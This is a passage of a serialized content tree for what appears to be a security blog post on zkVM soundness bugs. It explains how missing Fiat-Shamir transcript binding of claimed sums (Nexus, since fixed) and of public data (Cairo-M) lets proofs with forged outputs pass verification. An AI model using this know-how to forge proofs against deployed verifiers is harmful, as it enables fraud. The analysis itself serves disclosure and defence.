type":23,"tag":504,"props":118704,"children":118706},{"className":118705},[23673],[118707,118712],{"type":23,"tag":504,"props":118708,"children":118710},{"className":118709,"style":23680},[23673,23678,23679],[118711],{"type":29,"value":110621},{"type":23,"tag":504,"props":118713,"children":118715},{"className":118714},[666],[118716],{"type":23,"tag":504,"props":118717,"children":118719},{"className":118718},[671,672],[118720,118749],{"type":23,"tag":504,"props":118721,"children":118723},{"className":118722},[677],[118724,118744],{"type":23,"tag":504,"props":118725,"children":118727},{"className":118726,"style":116033},[682],[118728],{"type":23,"tag":504,"props":118729,"children":118730},{"style":23703},[118731,118735],{"type":23,"tag":504,"props":118732,"children":118734},{"className":118733,"style":693},[692],[],{"type":23,"tag":504,"props":118736,"children":118738},{"className":118737},[698,699,700,701],[118739],{"type":23,"tag":504,"props":118740,"children":118742},{"className":118741,"style":116049},[529,530,701],[118743],{"type":29,"value":10701},{"type":23,"tag":504,"props":118745,"children":118747},{"className":118746},[712],[118748],{"type":29,"value":715},{"type":23,"tag":504,"props":118750,"children":118752},{"className":118751},[677],[118753],{"type":23,"tag":504,"props":118754,"children":118756},{"className":118755,"style":116064},[682],[118757],{"type":23,"tag":504,"props":118758,"children":118759},{},[],{"type":23,"tag":504,"props":118761,"children":118763},{"className":118762,"style":2274},[537],[],{"type":23,"tag":504,"props":118765,"children":118767},{"className":118766},[529],[118768,118772,118926],{"type":23,"tag":504,"props":118769,"children":118771},{"className":118770},[600,115344],[],{"type":23,"tag":504,"props":118773,"children":118775},{"className":118774},[115349],[118776],{"type":23,"tag":504,"props":118777,"children":118779},{"className":118778},[671,672],[118780,118914],{"type":23,"tag":504,"props":118781,"children":118783},{"className":118782},[677],[118784,118909],{"type":23,"tag":504,"props":118785,"children":118787},{"className":118786,"style":115362},[682],[118788,118878,118889],{"type":23,"tag":504,"props":118789,"children":118790},{"style":115366},[118791,118795],{"type":23,"tag":504,"props":118792,"children":118794},{"className":118793,"style":113997},[692],[],{"type":23,"tag":504,"props":118796,"children":118798},{"className":118797},[698,699,700,701],[118799],{"type":23,"tag":504,"props":118800,"children":118802},{"className":118801},[529,701],[118803,118808,118813],{"type":23,"tag":504,"props":118804,"children":118806},{"className":118805,"style":115383},[529,530,701],[118807],{"type":29,"value":115386},{"type":23,"tag":504,"props":118809,"children":118811},{"className":118810},[1431,701],[118812],{"type":29,"value":6118},{"type":23,"tag":504,"props":118814,"children":118816},{"className":118815},[529,701],[118817,118827],{"type":23,"tag":504,"props":118818,"children":118820},{"className":118819},[529,29,701],[118821],{"type":23,"tag":504,"props":118822,"children":118824},{"className":118823},[529,701],[118825],{"type":29,"value":118826},"produced",{"type":23,"tag":504,"props":118828,"children":118830},{"className":118829},[666],[118831],{"type":23,"tag":504,"props":118832,"children":118834},{"className":118833},[671,672],[118835,118866],{"type":23,"tag":504,"props":118836,"children":118838},{"className":118837},[677],[118839,118861],{"type":23,"tag":504,"props":118840,"children":118843},{"className":118841,"style":118842},[682],"height:0.2052em;",[118844],{"type":23,"tag":504,"props":118845,"children":118847},{"style":118846},"top:-2.2341em;margin-right:0.0714em;",[118848,118852],{"type":23,"tag":504,"props":118849,"children":118851},{"className":118850,"style":110686},[692],[],{"type":23,"tag":504,"props":118853,"children":118855},{"className":118854},[698,110691,110692,701],[118856],{"type":23,"tag":504,"props":118857,"children":118859},{"className":118858,"style":116049},[529,530,701],[118860],{"type":29,"value":10701},{"type":23,"tag":504,"props":118862,"children":118864},{"className":118863},[712],[118865],{"type":29,"value":715},{"type":23,"tag":504,"props":118867,"children":118869},{"className":118868},[677],[118870],{"type":23,"tag":504,"props":118871,"children":118874},{"className":118872,"style":118873},[682],"height:0.4048em;",[118875],{"type":23,"tag":504,"props":118876,"children":118877},{},[],{"type":23,"tag":504,"props":118879,"children":118880},{"style":115399},[118881,118885],{"type":23,"tag":504,"props":118882,"children":118884},{"className":118883,"style":113997},[692],[],{"type":23,"tag":504,"props":118886,"children":118888},{"className":118887,"style":115409},[115408],[],{"type":23,"tag":504,"props":118890,"children":118891},{"style":115413},[118892,118896],{"type":23,"tag":504,"props":118893,"children":118895},{"className":118894,"style":113997},[692],[],{"type":23,"tag":504,"props":118897,"children":118899},{"className":118898},[698,699,700,701],[118900],{"type":23,"tag":504,"props":118901,"children":118903},{"className":118902},[529,701],[118904],{"type":23,"tag":504,"props":118905,"children":118907},{"className":118906},[529,701],[118908],{"type":29,"value":826},{"type":23,"tag":504,"props":118910,"children":118912},{"className":118911},[712],[118913],{"type":29,"value":715},{"type":23,"tag":504,"props":118915,"children":118917},{"className":118916},[677],[118918],{"type":23,"tag":504,"props":118919,"children":118922},{"className":118920,"style":118921},[682],"height:0.6283em;",[118923],{"type":23,"tag":504,"props":118924,"children":118925},{},[],{"type":23,"tag":504,"props":118927,"children":118929},{"className":118928},[930,115344],[],{"type":23,"tag":504,"props":118931,"children":118933},{"className":118932,"style":1426},[537],[],{"type":23,"tag":504,"props":118935,"children":118937},{"className":118936},[1431],[118938],{"type":29,"value":6118},{"type":23,"tag":504,"props":118940,"children":118942},{"className":118941,"style":1426},[537],[],{"type":23,"tag":504,"props":118944,"children":118946},{"className":118945},[518],[118947,118951,119008,119012],{"type":23,"tag":504,"props":118948,"children":118950},{"className":118949,"style":116258},[523],[],{"type":23,"tag":504,"props":118952,"children":118954},{"className":118953},[23673],[118955,118960],{"type":23,"tag":504,"props":118956,"children":118958},{"className":118957,"style":23680},[23673,23678,23679],[118959],{"type":29,"value":110621},{"type":23,"tag":504,"props":118961,"children":118963},{"className":118962},[666],[118964],{"type":23,"tag":504,"props":118965,"children":118967},{"className":118966},[671,672],[118968,118997],{"type":23,"tag":504,"props":118969,"children":118971},{"className":118970},[677],[118972,118992],{"type":23,"tag":504,"props":118973,"children":118975},{"className":118974,"style":115498},[682],[118976],{"type":23,"tag":504,"props":118977,"children":118978},{"style":23703},[118979,118983],{"type":23,"tag":504,"props":118980,"children":118982},{"className":118981,"style":693},[692],[],{"type":23,"tag":504,"props":118984,"children":118986},{"className":118985},[698,699,700,701],[118987],{"type":23,"tag":504,"props":118988,"children":118990},{"className":118989,"style":2089},[529,530,701],[118991],{"type":29,"value":2092},{"type":23,"tag":504,"props":118993,"children":118995},{"className":118994},[712],[118996],{"type":29,"value":715},{"type":23,"tag":504,"props":118998,"children":119000},{"className":118999},[677],[119001],{"type":23,"tag":504,"props":119002,"children":119004},{"className":119003,"style":116313},[682],[119005],{"type":23,"tag":504,"props":119006,"children":119007},{},[],{"type":23,"tag":504,"props":119009,"children":119011},{"className":119010,"style":2274},[537],[],{"type":23,"tag":504,"props":119013,"children":119015},{"className":119014},[529],[119016,119020,119170],{"type":23,"tag":504,"props":119017,"children":119019},{"className":119018},[600,115344],[],{"type":23,"tag":504,"props":119021,"children":119023},{"className":119022},[115349],[119024],{"type":23,"tag":504,"props":119025,"children":119027},{"className":119026},[671,672],[119028,119159],{"type":23,"tag":504,"props":119029,"children":119031},{"className":119030},[677],[119032,119154],{"type":23,"tag":504,"props":119033,"children":119035},{"className":119034,"style":115362},[682],[119036,119123,119134],{"type":23,"tag":504,"props":119037,"children":119038},{"style":115366},[119039,119043],{"type":23,"tag":504,"props":119040,"children":119042},{"className":119041,"style":113997},[692],[],{"type":23,"tag":504,"props":119044,"children":119046},{"className":119045},[698,699,700,701],[119047],{"type":23,"tag":504,"props":119048,"children":119050},{"className":119049},[529,701],[119051,119056,119061],{"type":23,"tag":504,"props":119052,"children":119054},{"className":119053,"style":115383},[529,530,701],[119055],{"type":29,"value":115386},{"type":23,"tag":504,"props":119057,"children":119059},{"className":119058},[1431,701],[119060],{"type":29,"value":6118},{"type":23,"tag":504,"props":119062,"children":119064},{"className":119063},[529,701],[119065,119075],{"type":23,"tag":504,"props":119066,"children":119068},{"className":119067},[529,29,701],[119069],{"type":23,"tag":504,"props":119070,"children":119072},{"className":119071},[529,701],[119073],{"type":29,"value":119074},"consumed",{"type":23,"tag":504,"props":119076,"children":119078},{"className":119077},[666],[119079],{"type":23,"tag":504,"props":119080,"children":119082},{"className":119081},[671,672],[119083,119112],{"type":23,"tag":504,"props":119084,"children":119086},{"className":119085},[677],[119087,119107],{"type":23,"tag":504,"props":119088,"children":119090},{"className":119089,"style":114158},[682],[119091],{"type":23,"tag":504,"props":119092,"children":119093},{"style":116403},[119094,119098],{"type":23,"tag":504,"props":119095,"children":119097},{"className":119096,"style":110686},[692],[],{"type":23,"tag":504,"props":119099,"children":119101},{"className":119100},[698,110691,110692,701],[119102],{"type":23,"tag":504,"props":119103,"children":119105},{"className":119104,"style":2089},[529,530,701],[119106],{"type":29,"value":2092},{"type":23,"tag":504,"props":119108,"children":119110},{"className":119109},[712],[119111],{"type":29,"value":715},{"type":23,"tag":504,"props":119113,"children":119115},{"className":119114},[677],[119116],{"type":23,"tag":504,"props":119117,"children":119119},{"className":119118,"style":116430},[682],[119120],{"type":23,"tag":504,"props":119121,"children":119122},{},[],{"type":23,"tag":504,"props":119124,"children":119125},{"style":115399},[119126,119130],{"type":23,"tag":504,"props":119127,"children":119129},{"className":119128,"style":113997},[692],[],{"type":23,"tag":504,"props":119131,"children":119133},{"className":119132,"style":115409},[115408],[],{"type":23,"tag":504,"props":119135,"children":119136},{"style":115413},[119137,119141],{"type":23,"tag":504,"props":119138,"children":119140},{"className":119139,"style":113997},[692],[],{"type":23,"tag":504,"props":119142,"children":119144},{"className":119143},[698,699,700,701],[119145],{"type":23,"tag":504,"props":119146,"children":119148},{"className":119147},[529,701],[119149],{"type":23,"tag":504,"props":119150,"children":119152},{"className":119151},[529,701],[119153],{"type":29,"value":826},{"type":23,"tag":504,"props":119155,"children":119157},{"className":119156},[712],[119158],{"type":29,"value":715},{"type":23,"tag":504,"props":119160,"children":119162},{"className":119161},[677],[119163],{"type":23,"tag":504,"props":119164,"children":119166},{"className":119165,"style":116478},[682],[119167],{"type":23,"tag":504,"props":119168,"children":119169},{},[],{"type":23,"tag":504,"props":119171,"children":119173},{"className":119172},[930,115344],[],{"type":23,"tag":32,"props":119175,"children":119176},{},[119177,119179,119184],{"type":29,"value":119178},"All ",{"type":23,"tag":154,"props":119180,"children":119182},{"className":119181},[],[119183],{"type":29,"value":116690},{"type":29,"value":119185}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":32,"props":119187,"children":119188},{},[119189,119191,119196],{"type":29,"value":119190},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":38,"props":119192,"children":119193},{},[119194],{"type":29,"value":119195},"OODS (Out-of-Domain Sampling)",{"type":29,"value":119197}," test.",{"type":23,"tag":32,"props":119199,"children":119200},{},[119201],{"type":23,"tag":38,"props":119202,"children":119203},{},[119204],{"type":29,"value":117242},{"type":23,"tag":4743,"props":119206,"children":119208},{"code":119207},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[119209],{"type":23,"tag":154,"props":119210,"children":119211},{"__ignoreMap":7},[119212],{"type":29,"value":119207},{"type":23,"tag":32,"props":119214,"children":119215},{},[119216,119218,119223],{"type":29,"value":119217},"The",{"type":23,"tag":154,"props":119219,"children":119221},{"className":119220},[],[119222],{"type":29,"value":116690},{"type":29,"value":119224}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":32,"props":119226,"children":119227},{},[119228],{"type":23,"tag":199,"props":119229,"children":119232},{"alt":119230,"src":119231},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":32,"props":119234,"children":119235},{},[119236,119238,119247],{"type":29,"value":119237},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":38,"props":119239,"children":119240},{},[119241,119242],{"type":29,"value":113697},{"type":23,"tag":154,"props":119243,"children":119245},{"className":119244},[],[119246],{"type":29,"value":116690},{"type":29,"value":6533},{"type":23,"tag":32,"props":119249,"children":119250},{},[119251],{"type":29,"value":119252},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":32,"props":119254,"children":119255},{},[119256],{"type":23,"tag":154,"props":119257,"children":119259},{"className":119258},[500,501],[119260],{"type":23,"tag":504,"props":119261,"children":119263},{"className":119262},[507],[119264],{"type":23,"tag":504,"props":119265,"children":119267},{"className":119266,"ariaHidden":513},[512],[119268,119309,119448],{"type":23,"tag":504,"props":119269,"children":119271},{"className":119270},[518],[119272,119276,119281,119286,119291,119296,119300,119305],{"type":23,"tag":504,"props":119273,"children":119275},{"className":119274,"style":2160},[523],[],{"type":23,"tag":504,"props":119277,"children":119279},{"className":119278,"style":24160},[529,530],[119280],{"type":29,"value":118055},{"type":23,"tag":504,"props":119282,"children":119284},{"className":119283},[600],[119285],{"type":29,"value":603},{"type":23,"tag":504,"props":119287,"children":119289},{"className":119288},[529,530],[119290],{"type":29,"value":21327},{"type":23,"tag":504,"props":119292,"children":119294},{"className":119293},[930],[119295],{"type":29,"value":933},{"type":23,"tag":504,"props":119297,"children":119299},{"className":119298,"style":538},[537],[],{"type":23,"tag":504,"props":119301,"children":119303},{"className":119302},[543],[119304],{"type":29,"value":546},{"type":23,"tag":504,"props":119306,"children":119308},{"className":119307,"style":538},[537],[],{"type":23,"tag":504,"props":119310,"children":119312},{"className":119311},[518],[119313,119317,119374,119378,119435,119439,119444],{"type":23,"tag":504,"props":119314,"children":119316},{"className":119315,"style":117459},[523],[],{"type":23,"tag":504,"props":119318,"children":119320},{"className":119319},[23673],[119321,119326],{"type":23,"tag":504,"props":119322,"children":119324},{"className":119323,"style":23680},[23673,23678,23679],[119325],{"type":29,"value":110621},{"type":23,"tag":504,"props":119327,"children":119329},{"className":119328},[666],[119330],{"type":23,"tag":504,"props":119331,"children":119333},{"className":119332},[671,672],[119334,119363],{"type":23,"tag":504,"props":119335,"children":119337},{"className":119336},[677],[119338,119358],{"type":23,"tag":504,"props":119339,"children":119341},{"className":119340,"style":116033},[682],[119342],{"type":23,"tag":504,"props":119343,"children":119344},{"style":23703},[119345,119349],{"type":23,"tag":504,"props":119346,"children":119348},{"className":119347,"style":693},[692],[],{"type":23,"tag":504,"props":119350,"children":119352},{"className":119351},[698,699,700,701],[119353],{"type":23,"tag":504,"props":119354,"children":119356},{"className":119355},[529,530,701],[119357],{"type":29,"value":578},{"type":23,"tag":504,"props":119359,"children":119361},{"className":119360},[712],[119362],{"type":29,"value":715},{"type":23,"tag":504,"props":119364,"children":119366},{"className":119365},[677],[119367],{"type":23,"tag":504,"props":119368,"children":119370},{"className":119369,"style":116313},[682],[119371],{"type":23,"tag":504,"props":119372,"children":119373},{},[],{"type":23,"tag":504,"props":119375,"children":119377},{"className":119376,"style":2274},[537],[],{"type":23,"tag":504,"props":119379,"children":119381},{"className":119380},[529],[119382,119387],{"type":23,"tag":504,"props":119383,"children":119385},{"className":119384,"style":116914},[529,530],[119386],{"type":29,"value":116917},{"type":23,"tag":504,"props":119388,"children":119390},{"className":119389},[666],[119391],{"type":23,"tag":504,"props":119392,"children":119394},{"className":119393},[671,672],[119395,119424],{"type":23,"tag":504,"props":119396,"children":119398},{"className":119397},[677],[119399,119419],{"type":23,"tag":504,"props":119400,"children":119402},{"className":119401,"style":1180},[682],[119403],{"type":23,"tag":504,"props":119404,"children":119405},{"style":117549},[119406,119410],{"type":23,"tag":504,"props":119407,"children":119409},{"className":119408,"style":693},[692],[],{"type":23,"tag":504,"props":119411,"children":119413},{"className":119412},[698,699,700,701],[119414],{"type":23,"tag":504,"props":119415,"children":119417},{"className":119416},[529,530,701],[119418],{"type":29,"value":578},{"type":23,"tag":504,"props":119420,"children":119422},{"className":119421},[712],[119423],{"type":29,"value":715},{"type":23,"tag":504,"props":119425,"children":119427},{"className":119426},[677],[119428],{"type":23,"tag":504,"props":119429,"children":119431},{"className":119430,"style":723},[682],[119432],{"type":23,"tag":504,"props":119433,"children":119434},{},[],{"type":23,"tag":504,"props":119436,"children":119438},{"className":119437,"style":1426},[537],[],{"type":23,"tag":504,"props":119440,"children":119442},{"className":119441},[1431],[119443],{"type":29,"value":113088},{"type":23,"tag":504,"props":119445,"children":119447},{"className":119446,"style":1426},[537],[],{"type":23,"tag":504,"props":119449,"children":119451},{"className":119450},[518],[119452,119456,119518,119523,119528],{"type":23,"tag":504,"props":119453,"children":119455},{"className":119454,"style":2160},[523],[],{"type":23,"tag":504,"props":119457,"children":119459},{"className":119458},[529],[119460,119470],{"type":23,"tag":504,"props":119461,"children":119463},{"className":119462},[529,29],[119464],{"type":23,"tag":504,"props":119465,"children":119467},{"className":119466},[529],[119468],{"type":29,"value":119469},"constraint",{"type":23,"tag":504,"props":119471,"children":119473},{"className":119472},[666],[119474],{"type":23,"tag":504,"props":119475,"children":119477},{"className":119476},[671,672],[119478,119507],{"type":23,"tag":504,"props":119479,"children":119481},{"className":119480},[677],[119482,119502],{"type":23,"tag":504,"props":119483,"children":119485},{"className":119484,"style":1180},[682],[119486],{"type":23,"tag":504,"props":119487,"children":119488},{"style":115956},[119489,119493],{"type":23,"tag":504,"props":119490,"children":119492},{"className":119491,"style":693},[692],[],{"type":23,"tag":504,"props":119494,"children":119496},{"className":119495},[698,699,700,701],[119497],{"type":23,"tag":504,"props":119498,"children":119500},{"className":119499},[529,530,701],[119501],{"type":29,"value":578},{"type":23,"tag":504,"props":119503,"children":119505},{"className":119504},[712],[119506],{"type":29,"value":715},{"type":23,"tag":504,"props":119508,"children":119510},{"className":119509},[677],[119511],{"type":23,"tag":504,"props":119512,"children":119514},{"className":119513,"style":723},[682],[119515],{"type":23,"tag":504,"props":119516,"children":119517},{},[],{"type":23,"tag":504,"props":119519,"children":119521},{"className":119520},[600],[119522],{"type":29,"value":603},{"type":23,"tag":504,"props":119524,"children":119526},{"className":119525},[529,530],[119527],{"type":29,"value":21327},{"type":23,"tag":504,"props":119529,"children":119531},{"className":119530},[930],[119532],{"type":29,"value":933},{"type":23,"tag":32,"props":119534,"children":119535},{},[119536,119538,119543,119545,119550],{"type":29,"value":119537},"Since each constraint is linear in its ",{"type":23,"tag":154,"props":119539,"children":119541},{"className":119540},[],[119542],{"type":29,"value":116690},{"type":29,"value":119544},", the overall composition polynomial is linear in all ",{"type":23,"tag":154,"props":119546,"children":119548},{"className":119547},[],[119549],{"type":29,"value":116690},{"type":29,"value":119551}," values.",{"type":23,"tag":32,"props":119553,"children":119554},{},[119555,119557],{"type":29,"value":119556},"The verifier checks ",{"type":23,"tag":154,"props":119558,"children":119560},{"className":119559},[500,501],[119561],{"type":23,"tag":504,"props":119562,"children":119564},{"className":119563},[507],[119565],{"type":23,"tag":504,"props":119566,"children":119568},{"className":119567,"ariaHidden":513},[512],[119569,119630],{"type":23,"tag":504,"props":119570,"children":119572},{"className":119571},[518],[119573,119577,119582,119587,119597,119602,119612,119617,119621,119626],{"type":23,"tag":504,"props":119574,"children":119576},{"className":119575,"style":558},[523],[],{"type":23,"tag":504,"props":119578,"children":119580},{"className":119579,"style":24160},[529,530],[119581],{"type":29,"value":118055},{"type":23,"tag":504,"props":119583,"children":119585},{"className":119584},[600],[119586],{"type":29,"value":603},{"type":23,"tag":504,"props":119588,"children":119590},{"className":119589},[529,29],[119591],{"type":23,"tag":504,"props":119592,"children":119594},{"className":119593},[529],[119595],{"type":29,"value":119596},"oods",{"type":23,"tag":504,"props":119598,"children":119600},{"className":119599,"style":624},[529],[119601],{"type":29,"value":627},{"type":23,"tag":504,"props":119603,"children":119605},{"className":119604},[529,29],[119606],{"type":23,"tag":504,"props":119607,"children":119609},{"className":119608},[529],[119610],{"type":29,"value":119611},"point",{"type":23,"tag":504,"props":119613,"children":119615},{"className":119614},[930],[119616],{"type":29,"value":933},{"type":23,"tag":504,"props":119618,"children":119620},{"className":119619,"style":538},[537],[],{"type":23,"tag":504,"props":119622,"children":119624},{"className":119623},[543],[119625],{"type":29,"value":546},{"type":23,"tag":504,"props":119627,"children":119629},{"className":119628,"style":538},[537],[],{"type":23,"tag":504,"props":119631,"children":119633},{"className":119632},[518],[119634,119638],{"type":23,"tag":504,"props":119635,"children":119637},{"className":119636,"style":116881},[523],[],{"type":23,"tag":504,"props":119639,"children":119641},{"className":119640},[529,29],[119642],{"type":23,"tag":504,"props":119643,"children":119645},{"className":119644},[529],[119646],{"type":29,"value":118380},{"type":23,"tag":32,"props":119648,"children":119649},{},[119650,119652,119657,119659,119664],{"type":29,"value":119651},"With ",{"type":23,"tag":154,"props":119653,"children":119655},{"className":119654},[],[119656],{"type":29,"value":116690},{"type":29,"value":119658}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":154,"props":119660,"children":119662},{"className":119661},[],[119663],{"type":29,"value":116690},{"type":29,"value":119665}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":32,"props":119667,"children":119668},{},[119669,119673,119675],{"type":23,"tag":38,"props":119670,"children":119671},{},[119672],{"type":29,"value":118536},{"type":29,"value":119674}," Fixed on October 24, 2025 via ",{"type":23,"tag":68,"props":119676,"children":119679},{"href":119677,"rel":119678},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[72],[119680],{"type":29,"value":119681},"PR #503",{"type":23,"tag":20844,"props":119683,"children":119684},{},[],{"type":23,"tag":320,"props":119686,"children":119688},{"id":119687},"cairo-m-kakarot-labs",[119689],{"type":29,"value":119690},"Cairo-M (Kakarot Labs)",{"type":23,"tag":32,"props":119692,"children":119693},{},[119694],{"type":29,"value":119695},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":32,"props":119697,"children":119698},{},[119699],{"type":29,"value":119700},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":32,"props":119702,"children":119703},{},[119704],{"type":23,"tag":38,"props":119705,"children":119706},{},[119707],{"type":29,"value":117242},{"type":23,"tag":4743,"props":119709,"children":119711},{"code":119710},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[119712],{"type":23,"tag":154,"props":119713,"children":119714},{"__ignoreMap":7},[119715],{"type":29,"value":119710},{"type":23,"tag":32,"props":119717,"children":119718},{},[119719],{"type":23,"tag":38,"props":119720,"children":119721},{},[119722],{"type":29,"value":117258},{"type":23,"tag":32,"props":119724,"children":119725},{},[119726],{"type":23,"tag":199,"props":119727,"children":119730},{"alt":119728,"src":119729},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":32,"props":119732,"children":119733},{},[119734,119736,119742],{"type":29,"value":119735},"Lookup challenges are derived without ",{"type":23,"tag":154,"props":119737,"children":119739},{"className":119738},[],[119740],{"type":29,"value":119741},"public_data",{"type":29,"value":119743}," being  mixed into the transcript.",{"type":23,"tag":32,"props":119745,"children":119746},{},[119747,119748,119753,119755,119760],{"type":29,"value":18661},{"type":23,"tag":154,"props":119749,"children":119751},{"className":119750},[],[119752],{"type":29,"value":119741},{"type":29,"value":119754}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":4321,"props":119756,"children":119757},{},[119758],{"type":29,"value":119759},"denominators",{"type":29,"value":119761}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":32,"props":119763,"children":119764},{},[119765],{"type":23,"tag":154,"props":119766,"children":119768},{"className":119767},[500,501],[119769],{"type":23,"tag":504,"props":119770,"children":119772},{"className":119771},[507],[119773],{"type":23,"tag":504,"props":119774,"children":119776},{"className":119775,"ariaHidden":513},[512],[119777,119837,119883,119929],{"type":23,"tag":504,"props":119778,"children":119780},{"className":119779},[518],[119781,119785,119791,119796,119805,119810,119819,119824,119828,119833],{"type":23,"tag":504,"props":119782,"children":119784},{"className":119783,"style":558},[523],[],{"type":23,"tag":504,"props":119786,"children":119788},{"className":119787},[529,530],[119789],{"type":29,"value":119790},"L",{"type":23,"tag":504,"props":119792,"children":119794},{"className":119793},[600],[119795],{"type":29,"value":603},{"type":23,"tag":504,"props":119797,"children":119799},{"className":119798},[529,29],[119800],{"type":23,"tag":504,"props":119801,"children":119803},{"className":119802},[529],[119804],{"type":29,"value":63737},{"type":23,"tag":504,"props":119806,"children":119808},{"className":119807,"style":624},[529],[119809],{"type":29,"value":627},{"type":23,"tag":504,"props":119811,"children":119813},{"className":119812},[529,29],[119814],{"type":23,"tag":504,"props":119815,"children":119817},{"className":119816},[529],[119818],{"type":29,"value":5761},{"type":23,"tag":504,"props":119820,"children":119822},{"className":119821},[930],[119823],{"type":29,"value":933},{"type":23,"tag":504,"props":119825,"children":119827},{"className":119826,"style":1426},[537],[],{"type":23,"tag":504,"props":119829,"children":119831},{"className":119830},[1431],[119832],{"type":29,"value":6422},{"type":23,"tag":504,"props":119834,"children":119836},{"className":119835,"style":1426},[537],[],{"type":23,"tag":504,"props":119838,"children":119840},{"className":119839},[518],[119841,119845,119855,119860,119870,119874,119879],{"type":23,"tag":504,"props":119842,"children":119844},{"className":119843,"style":558},[523],[],{"type":23,"tag":504,"props":119846,"children":119848},{"className":119847},[529,29],[119849],{"type":23,"tag":504,"props":119850,"children":119852},{"className":119851},[529],[119853],{"type":29,"value":119854},"(other transcript",{"type":23,"tag":504,"props":119856,"children":119858},{"className":119857,"style":624},[529],[119859],{"type":29,"value":627},{"type":23,"tag":504,"props":119861,"children":119863},{"className":119862},[529,29],[119864],{"type":23,"tag":504,"props":119865,"children":119867},{"className":119866},[529],[119868],{"type":29,"value":119869},"bound terms)",{"type":23,"tag":504,"props":119871,"children":119873},{"className":119872,"style":538},[537],[],{"type":23,"tag":504,"props":119875,"children":119877},{"className":119876},[543],[119878],{"type":29,"value":546},{"type":23,"tag":504,"props":119880,"children":119882},{"className":119881,"style":538},[537],[],{"type":23,"tag":504,"props":119884,"children":119886},{"className":119885},[518],[119887,119892,119897,119902,119907,119911,119916,119920,119925],{"type":23,"tag":504,"props":119888,"children":119891},{"className":119889,"style":119890},[523],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":119893,"children":119895},{"className":119894},[529],[119896],{"type":29,"value":708},{"type":23,"tag":504,"props":119898,"children":119900},{"className":119899},[2267],[119901],{"type":29,"value":2270},{"type":23,"tag":504,"props":119903,"children":119906},{"className":119904,"style":119905},[537],"margin-right:2em;",[],{"type":23,"tag":504,"props":119908,"children":119910},{"className":119909,"style":2274},[537],[],{"type":23,"tag":504,"props":119912,"children":119914},{"className":119913},[529,530],[119915],{"type":29,"value":119790},{"type":23,"tag":504,"props":119917,"children":119919},{"className":119918,"style":538},[537],[],{"type":23,"tag":504,"props":119921,"children":119923},{"className":119922},[543],[119924],{"type":29,"value":546},{"type":23,"tag":504,"props":119926,"children":119928},{"className":119927,"style":538},[537],[],{"type":23,"tag":504,"props":119930,"children":119932},{"className":119931},[518],[119933,119938,119995,119999,120217],{"type":23,"tag":504,"props":119934,"children":119937},{"className":119935,"style":119936},[523],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":504,"props":119939,"children":119941},{"className":119940},[23673],[119942,119947],{"type":23,"tag":504,"props":119943,"children":119945},{"className":119944,"style":23680},[23673,23678,23679],[119946],{"type":29,"value":110621},{"type":23,"tag":504,"props":119948,"children":119950},{"className":119949},[666],[119951],{"type":23,"tag":504,"props":119952,"children":119954},{"className":119953},[671,672],[119955,119984],{"type":23,"tag":504,"props":119956,"children":119958},{"className":119957},[677],[119959,119979],{"type":23,"tag":504,"props":119960,"children":119962},{"className":119961,"style":116033},[682],[119963],{"type":23,"tag":504,"props":119964,"children":119965},{"style":23703},[119966,119970],{"type":23,"tag":504,"props":119967,"children":119969},{"className":119968,"style":693},[692],[],{"type":23,"tag":504,"props":119971,"children":119973},{"className":119972},[698,699,700,701],[119974],{"type":23,"tag":504,"props":119975,"children":119977},{"className":119976},[529,530,701],[119978],{"type":29,"value":578},{"type":23,"tag":504,"props":119980,"children":119982},{"className":119981},[712],[119983],{"type":29,"value":715},{"type":23,"tag":504,"props":119985,"children":119987},{"className":119986},[677],[119988],{"type":23,"tag":504,"props":119989,"children":119991},{"className":119990,"style":116313},[682],[119992],{"type":23,"tag":504,"props":119993,"children":119994},{},[],{"type":23,"tag":504,"props":119996,"children":119998},{"className":119997,"style":2274},[537],[],{"type":23,"tag":504,"props":120000,"children":120002},{"className":120001},[529],[120003,120007,120213],{"type":23,"tag":504,"props":120004,"children":120006},{"className":120005},[600,115344],[],{"type":23,"tag":504,"props":120008,"children":120010},{"className":120009},[115349],[120011],{"type":23,"tag":504,"props":120012,"children":120014},{"className":120013},[671,672],[120015,120201],{"type":23,"tag":504,"props":120016,"children":120018},{"className":120017},[677],[120019,120196],{"type":23,"tag":504,"props":120020,"children":120022},{"className":120021,"style":115362},[682],[120023,120165,120176],{"type":23,"tag":504,"props":120024,"children":120025},{"style":115366},[120026,120030],{"type":23,"tag":504,"props":120027,"children":120029},{"className":120028,"style":113997},[692],[],{"type":23,"tag":504,"props":120031,"children":120033},{"className":120032},[698,699,700,701],[120034],{"type":23,"tag":504,"props":120035,"children":120037},{"className":120036},[529,701],[120038,120043,120048,120054,120059,120064,120121,120126,120135,120140,120149,120155,120160],{"type":23,"tag":504,"props":120039,"children":120041},{"className":120040,"style":115383},[529,530,701],[1200